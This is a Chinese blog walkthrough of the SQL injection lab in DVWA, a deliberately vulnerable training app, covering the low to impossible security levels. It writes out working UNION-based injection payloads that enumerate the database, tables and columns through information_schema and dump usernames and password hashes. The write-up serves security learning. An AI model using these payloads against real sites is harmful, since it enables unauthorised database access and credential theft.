DVWA—SQL Injection

DVWA---SQL Injection实例

1. low等级

进入界面后,可以看到它是一个ID的查找内容的输入框,我们输入数字1、2可以看到是从后端返回数据库相应的数据,但是我们作为SQL注入的最终目标是得到更多有关的信息,所以我们需要通过构造payload来进行操作。

在此之前我们需要判断它是属于哪一方面的漏洞,通过sql-lab的博客介绍相关sql注入类型来对它的漏洞类型进行判断。漏洞类型大致可以初定为数字型和字符型。

其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

数字型判断:

用 and 1=1 和 and 1=2 来判断:

1.Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。

2.Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。因为逻辑判断错误。1并不等于2。

字符型判断

概述:当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号或其它特殊符号来闭合,而字符串一般需要通过特殊符号,如单引号来闭合的。

如果一条后台语句为:$sql="SELECT * FROM users WHERE id='1 ' LIMIT 0,1",这里的"1"被加上了单引号,使我们无法查询

我们可以通过在URL地址栏输入?id=1' 来判断是否是字符型注入,

输入?id=1',这时候1后面的单引号把原本语句的一对单引号隔开了,变成了?id='1'',多出了一个单引号,正常来说,包裹着id变量的单引号是成对,这样的语句结构没有问题的,多出了一个单引号就报错了破坏了原本的sql语句结构,并且这条语句被带进数据库进行查询,数据库由于无法处理这条 '非正常' 的语句,所以也就报错了,由于数据库和前端页面是交互的,所以前端页面也会出现异常或者报错,会报错说明这条语句成功被带进数据库查询,存在字符型注入。

所以通过构造不同类型的payload可以知道这个是属于字符型注入漏洞。

1 and 1=2

1'and 'false

从上面得到我们注入的类型是属于字符型我们就可以考虑整体注入思路,因为SQL注入最终的目标都是将数据库进行脱库然后对数据进行存储使用。

然后根据正常的SQL表的构成需要分别获取数据库库名、数据库对应的表名、数据库表名对应的列名。

① 获取库名

我选择的是union联合注入方式

1' union select 1,database()#

得到表名为dvwa

② 获取表名

1' union select 1,group_concat(table_name)COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#

③ 获取列表名

1' union select 1,group_concat(column_name)COLLATE utf8_general_ci from information_schema.columns where table_name='users'#

可以看到表中的列表共有如下这么多

得到所有列表我们就可以进行脱库处理了

例如我们只对users数据库中的用户名字(ID),账号密码感兴趣

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #

可以看到我们在获取到的user跟password中password是加密的,我们可以去试着查看多个user的password的长度如果相同我们可以推断这个加密方式为hash加密即将密码设为同一长度的密文形式。

2. medium等级

因为在medium等级中在页面输入中将id的值输入变成了选择项的输入框来进行数据传递,所以我们需要用到burpsuits工具进行操作。然后可以看到在medium等级中使用了mysqli_real_escape_string()函数,通过查找可以知道这是一种过滤特殊字符类似于/n、'这类字符的操作,所以这就应该是一个数字型注入漏洞。

根据上面的判断我们就可以开始进行与low等级一样的流程操作了

① 获取数据库库名

union select 1,database()#


② 获取表名

union select 1,group_concat(table_name)COLLATE utf8_general_ci from

information_schema.tables where table_schema=database()#

③ 获取列表名以及脱库操作

or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #

3. high等级

在high中它使用了LIMIT1这样的函数来对它进行限制,但是通过查找相关资料可以知道可以通过#来实现对它的SQL注入所以,我们可以直接套用low等级中的语句实现SQL注入,因为前面阶段都相同所以我在这里直接演示拉取数据的操作。

  1. impossible等级

在impossible等级中有点大道至简的感觉了,因为我们查询的是通过id值来进行查找所以我们直接使用is_numberic()函数对输入的id是否为数字进行判断直接就杜绝了一切SQL注入的可能出现。

总结

在SQL injection注入中,我们可以选择union联合注入也可以像其他博主那样选择error注入方式,虽然各有千秋本质都是想要将数据库脱库对想要的数据进行操作,所以方法并不唯一。

相关推荐
缘友一世34 分钟前
macos安装mongodb
数据库·mongodb·macos
网络研究院39 分钟前
如何安全地大规模部署 GenAI 应用程序
网络·人工智能·安全·ai·部署·观点
万事大吉CC2 小时前
mysql单表查询·3
数据库·mysql
bin91533 小时前
【EXCEL数据处理】000010 案列 EXCEL文本型和常规型转换。使用的软件是微软的Excel操作的。处理数据的目的是让数据更直观的显示出来,方便查看。
大数据·数据库·信息可视化·数据挖掘·数据分析·excel·数据可视化
Miqiuha3 小时前
lock_guard和unique_lock学习总结
java·数据库·学习
一 乐4 小时前
学籍管理平台|在线学籍管理平台系统|基于Springboot+VUE的在线学籍管理平台系统设计与实现(源码+数据库+文档)
java·数据库·vue.js·spring boot·后端·学习
DonciSacer4 小时前
TryHackMe 第6天 | Web Fundamentals (一)
安全
Java探秘者7 小时前
Maven下载、安装与环境配置详解:从零开始搭建高效Java开发环境
java·开发语言·数据库·spring boot·spring cloud·maven·idea
2301_786964368 小时前
3、练习常用的HBase Shell命令+HBase 常用的Java API 及应用实例
java·大数据·数据库·分布式·hbase
云卓科技8 小时前
无人机之数据提取篇
科技·安全·机器人·无人机·制造